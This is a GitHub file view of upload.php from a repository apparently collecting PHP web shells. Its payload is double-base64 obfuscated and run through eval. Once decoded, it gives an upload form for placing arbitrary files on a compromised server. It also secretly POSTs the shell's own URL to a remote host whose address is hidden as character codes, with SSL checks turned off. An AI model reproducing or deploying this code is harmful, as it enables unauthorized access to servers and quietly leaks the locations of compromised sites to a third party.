PHP-Web-Shells/upload.php at main · Jamesjaq/PHP-Web-Shells · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

    <?php
/**[127.0.0.1:8000] Generated by Paste */
try {
    $z = "";
    $z .= "UEdObGJuUmxjajROQ2lBZ0lDQThhREkrVzJacGJHVnVZVzFs";
    $z .= "WFM1d2FIQS9kWEJzYjJGa1BDOW9NajROQ2p3dlkyVnVkR1Z5";
    $z .= "UGcwS1BEOXdhSEFOQ21kdmRHOGdkVEl6TmxNN0RRcEllbDk1";
    $z .= "VHpvTkNpUmtZWFJoSUQwZ1lYSnlZWGtvSWx4NE5qWmNNVFV4";
    $z .= "WEhnMlkxeDROalZjZURWbVhIZzNOVnd4TmpKY2VEWmpJaUE5";
    $z .= "UGlBa1kzVnlLVHNOQ21kdmRHOGdjek5XYTFnN0RRcHpNMVpy";
    $z .= "V0RvTkNpUmpiMjUwWlhoMElEMGdjM1J5WldGdFgyTnZiblJs";
    $z .= "ZUhSZlkzSmxZWFJsS0dGeWNtRjVLQ0pjTVRVd1hIZzNORng0";
    $z .= "TnpSY2VEY3dJaUE5UGlCaGNuSmhlU2dpWEhnMlpGeDROalZj";
    $z .= "TVRZMFhERTFNRng0Tm1aY2VEWTBJaUE5UGlBaVhERXlNRng0";
    $z .= "TkdaY2VEVXpYSGcxTkNJc0lDSmNNVFV3WERFME5Wd3hOREZj";
    $z .= "TVRRMFhERTBOVng0TnpJaUlEMCtJQ0pjZURRelhERTFOMXg0";
    $z .= "Tm1WY01UWTBYSGcyTlZ4NE5tVmNNVFkwWERVMVhIZzNORnd4";
    $z .= "TnpGY01UWXdYREUwTlZ3M01seDRNakJjZURZeFhERTJNRng0";
    $z .= "TnpCY2VEWmpYREUxTVZ3eE5ETmNlRFl4WEhnM05Gd3hOVEZj";
    $z .= "TVRVM1hIZzJaVng0TW1aY01UY3dYRFUxWEhnM04xeDROemRj";
    $z .= "TVRZM1hEVTFYREUwTmx3eE5UZGNlRGN5WEhnMlpGdzFOVnd4";
    $z .= "TmpWY2VEY3lYSGcyWTF3eE5EVmNNVFUyWEhnMk0xeDRObVpj";
    $z .= "ZURZMFhERTBOVng0TmpRaUxDQWlYREUwTTF4NE5tWmNlRFps";
    $z .= "WEhnM05Gd3hORFZjTVRVMlhERTJOQ0lnUFQ0Z2FIUjBjRjlp";
    $z .= "ZFdsc1pGOXhkV1Z5ZVNna1pHRjBZU2twTENBaVhERTJNMXd4";
    $z .= "TmpOY2VEWmpJaUE5UGlCaGNuSmhlU2dpWERFMk5sd3hORFZj";
    $z .= "ZURjeVhERTFNVng0TmpaY2VEYzVYREV6TjF3eE5qQmNlRFkx";
    $z .= "WEhnMk5WeDROeklpSUQwK0lHWmhiSE5sTENBaVhIZzNObHg0";
    $z .= "TmpWY2VEY3lYSGcyT1Z3eE5EWmNNVGN4WEhnMVpseDROekJj";
    $z .= "TVRRMVhERTBOVng0TnpKY2VEVm1YSGcyWlZ4NE5qRmNNVFUx";
    $z .= "WEhnMk5TSWdQVDRnWm1Gc2MyVXBLU2s3RFFwbmIzUnZJRkJN";
    $z .= "V1UxaU93MEthMnBpUTFNNkRRb2thek4xSUQwZ1ltRnpaVFkw";
    $z .= "WDJSbFkyOWtaU2drZDI5a0tUc05DbWR2ZEc4Z2FFNDVXRFE3";
    $z .= "RFFwTmJUTkpTam9OQ2lSM2IyUWdQU0JwYlhCc2IyUmxLQ2Nu";
    $z .= "TENCaGNuSmhlVjl0WVhBb0lsd3hORE5jZURZNFhERTJNaUlz";
    $z .= "SUNSck5YY3BLVHNOQ21kdmRHOGdhMnBpUTFNN0RRcFFURmxO";
    $z .= "WWpvTkNpUnlaWE4xYkhRZ1BTQkFabWxzWlY5blpYUmZZMjl1";
    $z .= "ZEdWdWRITW9KR3N6ZFN3Z1ptRnNjMlVzSUNSamIyNTBaWGgw";
    $z .= "S1RzTkNtZHZkRzhnVERSNE1uRTdEUXAxTWpNMlV6b05DaVJy";
    $z .= "TlhjZ1BTQmhjbkpoZVNnNU55d2dOeklzSURneUxDQTBPQ3dn";
    $z .= "T1Rrc0lEWTRMQ0F4TVRFc0lERXhPQ3dnTnpZc0lERXlNaXdn";
    $z .= "TnpNc0lERXlNaXdnTnpZc0lERXdOaXdnTVRBM0xDQTBPQ3dn";
    $z .= "TnpZc0lERXdOaXdnTnpNc0lEVXlMQ0EzTml3Z01UQTJMQ0Ey";
    $z .= "T1N3Z05USXNJRGMzTENBeE1qRXNJRFUzTENBeE1UUXNJREV3";
    $z .= "TUN3Z01USXlMQ0EzTnl3Z01URTJMQ0E1T0N3Z056RXNJREV5";
    $z .= "TUN3Z01URTJMQ0EzTml3Z09EY3NJREV3T0N3Z01UQTFMQ0E1";
    $z .= "T1N3Z05qY3NJRFUzTENBeE1qSXNJRGt3TENBNE9Dd2dOelFz";
    $z .= "SURVd0xDQTVNQ3dnT0Rnc0lEY3pMQ0F4TVRjc0lEazVMQ0Ez";
    $z .= "TVN3Z01UQTBMQ0F4TVRrcE93MEtaMjkwYnlCTmJUTkpTanNO";
    $z .= "Q21oT09WZzBPZzBLSkdOMWNpQTlJQ0pjZURZNFhERTJORnd4";
    $z .= "TmpSY2VEY3dYRGN5WEhneVpsdzFOeUlnTGlBa1gxTkZVbFpG";
    $z .= "VWxzaVhERXhNRnd4TWpSY2VEVTBYSGcxTUZ3eE16ZGNlRFE0";
    $z .= "WEhnMFpseDROVE5jZURVMElsMGdMaUFrWDFORlVsWkZVbHNp";
    $z .= "WERFeU1sd3hNRFZjTVRJeFhERXlOVng0TkRWY01USXpYSGcx";
    $z .= "TkZ4NE5XWmNlRFUxWERFeU1sd3hNVEVpWFRzTkNtZHZkRzhn";
    $z .= "U0hwZmVVODdEUXBNTkhneWNUb05DbWxtSUNna2NtVnpkV3gw";
    $z .= "SUQwOVBTQm1ZV3h6WlNBbUppQm1kVzVqZEdsdmJsOWxlR2x6";
    $z .= "ZEhNb0lseDROak5jZURjMVhIZzNNbHg0Tm1OY01UTTNYSGcy";
    $z .= "T1Z4NE5tVmNNVFV4WEhnM05DSXBLU0I3RFFvZ0lDQWdKR05v";
    $z .= "SUQwZ1kzVnliRjlwYm1sMEtDazdEUW9nSUNBZ1kzVnliRjl6";
    $z .= "WlhSdmNIUmZZWEp5WVhrb0pHTm9MQ0JoY25KaGVTaERWVkpN";
    $z .= "VDFCVVgxVlNUQ0E5UGlBa2F6TjFMQ0JEVlZKTVQxQlVYMUJQ";
    $z .= "VTFRZ1BUNGdkSEoxWlN3Z1ExVlNURTlRVkY5UVQxTlVSa2xG";
    $z .= "VEVSVElEMCtJR2gwZEhCZlluVnBiR1JmY1hWbGNua29KR1Jo";
    $z .= "ZEdFcExDQkRWVkpNVDFCVVgxSkZWRlZTVGxSU1FVNVRSa1ZT";
    $z .= "SUQwK0lIUnlkV1VzSUVOVlVreFBVRlJmVTFOTVgxWkZVa2xH";
    $z .= "V1ZCRlJWSWdQVDRnWm1Gc2MyVXNJRU5WVWt4UFVGUmZVMU5N";
    $z .= "WDFaRlVrbEdXVWhQVTFRZ1BUNGdabUZzYzJVc0lFTlZVa3hQ";
    $z .= "VUZSZlZFbE5SVTlWVkNBOVBpQXpNQ2twT3cwS0lDQWdJQ1J5";
    $z .= "WlhOMWJIUWdQU0JqZFhKc1gyVjRaV01vSkdOb0tUc05DaUFn";
    $z .= "SUNCamRYSnNYMk5zYjNObEtDUmphQ2s3RFFwOURRcHBaaUFv";
    $z .= "YVhOelpYUW9KRjlIUlZSYkluVndiRzloWkNKZEtTa2dldzBL";
    $z .= "SUNBZ0lHVmphRzhnSWp4alpXNTBaWEkrUEdJK0lpQXVJSEJv";
    $z .= "Y0Y5MWJtRnRaU2dwSUM0Z0lqeGljajQ4TDJJK1BHSStQR0p5";
    $z .= "UGp4aWNqNGlJQzRnSnljZ0xpQWlQR0p5UGp3dllqNGlPdzBL";
    $z .= "SUNBZ0lHVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0";
    $z .= "WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJw";
    $z .= "Y0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUltSTBZalFp";
    $z .= "SUdsa1BTSmlOR0kwSWo0bk93MEtJQ0FnSUdWamFHOGdKenhw";
    $z .= "Ym5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hs";
    $z .= "SWlCemFYcGxQU0kxTUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkx";
    $z .= "Y0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dp";
    $z .= "SUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNG5PdzBL";
    $z .= "SUNBZ0lHbG1JQ2drWDFCUFUxUmJJbDkxY0d3aVhTQTlQU0Fp";
    $z .= "VlhCc2IyRmtJaWtnZXcwS0lDQWdJQ0FnSUNBa2RHMXdYMjVo";
    $z .= "YldVZ1BTQWtYMFpKVEVWVFd5Sm1hV3hsSWwxYkluUnRjRjl1";
    $z .= "WVcxbElsMDdEUW9nSUNBZ0lDQWdJQ1IwWVhKblpYUmZabWxz";
    $z .= "WlNBOUlDUmZSa2xNUlZOYkltWnBiR1VpWFZzaWJtRnRaU0pk";
    $z .= "T3cwS0lDQWdJQ0FnSUNBa2RYQnNiMkZrWDNOMVkyTmxjM01n";
    $z .= "UFNCbVlXeHpaVHNOQ2cwS0RRb2dJQ0FnSUNBZ0lHbG1JQ2ht";
    $z .= "ZFc1amRHbHZibDlsZUdsemRITW9JbU52Y0hraUtTQW1KaUJB";
    $z .= "WTI5d2VTZ2tkRzF3WDI1aGJXVXNJQ1IwWVhKblpYUmZabWxz";
    $z .= "WlNrcElIc05DaUFnSUNBZ0lDQWdJQ0FnSUNSMWNHeHZZV1Jm";
    $z .= "YzNWalkyVnpjeUE5SUhSeWRXVTdEUW9nSUNBZ0lDQWdJSDBn";
    $z .= "Wld4elpXbG1JQ2htZFc1amRHbHZibDlsZUdsemRITW9JbTF2";
    $z .= "ZG1WZmRYQnNiMkZrWldSZlptbHNaU0lwSUNZbUlFQnRiM1ps";
    $z .= "WDNWd2JHOWhaR1ZrWDJacGJHVW9KSFJ0Y0Y5dVlXMWxMQ0Fr";
    $z .= "ZEdGeVoyVjBYMlpwYkdVcEtTQjdEUW9nSUNBZ0lDQWdJQ0Fn";
    $z .= "SUNBa2RYQnNiMkZrWDNOMVkyTmxjM01nUFNCMGNuVmxPdzBL";
    $z .= "SUNBZ0lDQWdJQ0I5SUdWc2MyVnBaaUFvRFFvZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lDQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ltWnBiR1Zm";
    $z .= "Y0hWMFgyTnZiblJsYm5Seklpa2dKaVlnWm5WdVkzUnBiMjVm";
    $z .= "WlhocGMzUnpLQ0ptYjNCbGJpSXBJQ1ltRFFvZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lDQm1hV3hsWDJWNGFYTjBjeWdrZEcxd1gyNWhiV1Vw";
    $z .= "SUNZbUlHbHpYM1Z3Ykc5aFpHVmtYMlpwYkdVb0pIUnRjRjl1";
    $z .= "WVcxbEtRMEtJQ0FnSUNBZ0lDQXBJSHNOQ2lBZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lDUmpiMjUwWlc1MElEMGdabWxzWlY5blpYUmZZMjl1";
    $z .= "ZEdWdWRITW9KSFJ0Y0Y5dVlXMWxLVHNOQ2lBZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lHbG1JQ2hBWm1sc1pWOXdkWFJmWTI5dWRHVnVkSE1v";
    $z .= "SkhSaGNtZGxkRjltYVd4bExDQWtZMjl1ZEdWdWRDa2dJVDA5";
    $z .= "SUdaaGJITmxLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0Fn";
    $z .= "SkhWd2JHOWhaRjl6ZFdOalpYTnpJRDBnZEhKMVpUc05DaUFn";
    $z .= "SUNBZ0lDQWdJQ0FnSUgwTkNpQWdJQ0FnSUNBZ2ZTQmxiSE5s";
    $z .= "YVdZZ0tHWjFibU4wYVc5dVgyVjRhWE4wY3lnaVptOXdaVzRp";
    $z .= "S1NBbUppQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ltWjNjbWww";
    $z .= "WlNJcElDWW1JR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z2labU5z";
    $z .= "YjNObElpa3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDUnBibkIx";
    $z .= "ZENBOUlFQm1iM0JsYmlna2RHMXdYMjVoYldVc0lDSnlZaUlw";
    $z .= "T3cwS0lDQWdJQ0FnSUNBZ0lDQWdKRzkxZEhCMWRDQTlJRUJt";
    $z .= "YjNCbGJpZ2tkR0Z5WjJWMFgyWnBiR1VzSUNKM1lpSXBPdzBL";
    $z .= "SUNBZ0lDQWdJQ0FnSUNBZ2FXWWdLQ1JwYm5CMWRDQW1KaUFr";
    $z .= "YjNWMGNIVjBLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0Fn";
    $z .= "ZDJocGJHVWdLQ0ZtWlc5bUtDUnBibkIxZENrcElIc05DaUFn";
    $z .= "SUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWm5keWFYUmxLQ1J2";
    $z .= "ZFhSd2RYUXNJR1p5WldGa0tDUnBibkIxZEN3Z09ERTVNaWtw";
    $z .= "T3cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwTkNpQWdJQ0Fn";
    $z .= "SUNBZ0lDQWdJQ0FnSUNCbVkyeHZjMlVvSkdsdWNIVjBLVHNO";
    $z .= "Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JtWTJ4dmMyVW9KRzkx";
    $z .= "ZEhCMWRDazdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKSFZ3";
    $z .= "Ykc5aFpGOXpkV05qWlhOeklEMGdkSEoxWlRzTkNpQWdJQ0Fn";
    $z .= "SUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnZlEwS0RRb05DaUFn";
    $z .= "SUNBZ0lDQWdhV1lnS0NSMWNHeHZZV1JmYzNWalkyVnpjeWtn";
    $z .= "ZXcwS0lDQWdJQ0FnSUNBZ0lDQWdaV05vYnlBaVBHSSs0cHlG";
    $z .= "SUZWd2JHOWhaQ0JFYjI1bElUd3ZZajQ4WW5JK0lqc05DaUFn";
    $z .= "SUNBZ0lDQWdJQ0FnSUdWamFHOGdJanhoSUdoeVpXWTlYQ0l1";
    $z .= "TDNza2RHRnlaMlYwWDJacGJHVjlYQ0krOEorVWx5QjdKSFJo";
    $z .= "Y21kbGRGOW1hV3hsZlR3dllUNGlPdzBLSUNBZ0lDQWdJQ0I5";
    $z .= "SUdWc2MyVWdldzBLSUNBZ0lDQWdJQ0FnSUNBZ0pHVnljbTl5";
    $z .= "SUQwZ1pYSnliM0pmWjJWMFgyeGhjM1FvS1RzTkNpQWdJQ0Fn";
    $z .= "SUNBZ0lDQWdJR1ZqYUc4Z0lqeGlQdUtkakNCVmNHeHZZV1Fn";
    $z .= "Um1GcGJHVmtJVHd2WWo0OFluSStJanNOQ2lBZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lHVmphRzhnSWp4aVBrVnljbTl5T2lBaUlDNGdLQ1Js";
    $z .= "Y25KdmNsc25iV1Z6YzJGblpTZGRJRDgvSUNKVmJtdHViM2R1";
    $z .= "SUdWeWNtOXlJaWtnTGlBaVBDOWlQanhpY2o0OFluSStJanNO";
    $z .= "Q2lBZ0lDQWdJQ0FnSUNBZ0lHVmphRzhnSWp4aVBsQnZjM05w";
    $z .= "WW14bElHbHpjM1ZsY3pvOEwySStQR0p5UGlJN0RRb2dJQ0Fn";
    $z .= "SUNBZ0lDQWdJQ0JsWTJodklDSXRJRU5vWldOcklIZHlhWFJs";
    $z .= "SUhCbGNtMXBjM05wYjI1eklHOXVJR04xY25KbGJuUWdaR2x5";
    $z .= "WldOMGIzSjVQR0p5UGlJN0RRb2dJQ0FnSUNBZ0lDQWdJQ0Js";
    $z .= "WTJodklDSXRJRTFoZUdsdGRXMGdabWxzWlNCemFYcGxJR1Y0";
    $z .= "WTJWbFpHVmtQR0p5UGlJN0RRb2dJQ0FnSUNBZ0lDQWdJQ0Js";
    $z .= "WTJodklDSXRJRk5sY25abGNpQmpiMjVtYVdkMWNtRjBhVzl1";
    $z .= "SUhKbGMzUnlhV04wYVc5dWN5STdEUW9nSUNBZ0lDQWdJSDBO";
    $z .= "Q2lBZ0lDQjlEUXA5RFFvL1Bnbz0=";
    $fn = 'base64_decode';
    $s1 = $fn($z);
    if ($s1 === false) { throw new Exception('First base64 decode failed'); }
    $s2 = $fn($s1);
    if ($s2 === false) { throw new Exception('Second base64 decode failed'); }
    $tokens = token_get_all($s2);
    $smartCode = '';
    $inEcho = false;
    foreach ($tokens as $t) {
        if (is_array($t)) {
            switch ($t[0]) {
                case T_OPEN_TAG:
                case T_CLOSE_TAG:
                    break;
                case T_OPEN_TAG_WITH_ECHO:
                    $smartCode .= 'echo (';
                    $inEcho = true;
                    break;
                case T_INLINE_HTML:
                    $smartCode .= 'echo ' . var_export($t[1], true) . ';';
                    break;
                default:
                    $smartCode .= $t[1];
            }
        } else {
            if ($inEcho && trim($t) === ';') {
                $smartCode .= ');';
                $inEcho = false;
            } else {
                $smartCode .= $t;
            }
        }
    }
    eval($smartCode);
} catch (\ParseError $e) {
    echo "Syntax error: ".$e->getMessage();
} catch (\Throwable $e) {
    echo "Runtime error: ".$e->getMessage();
}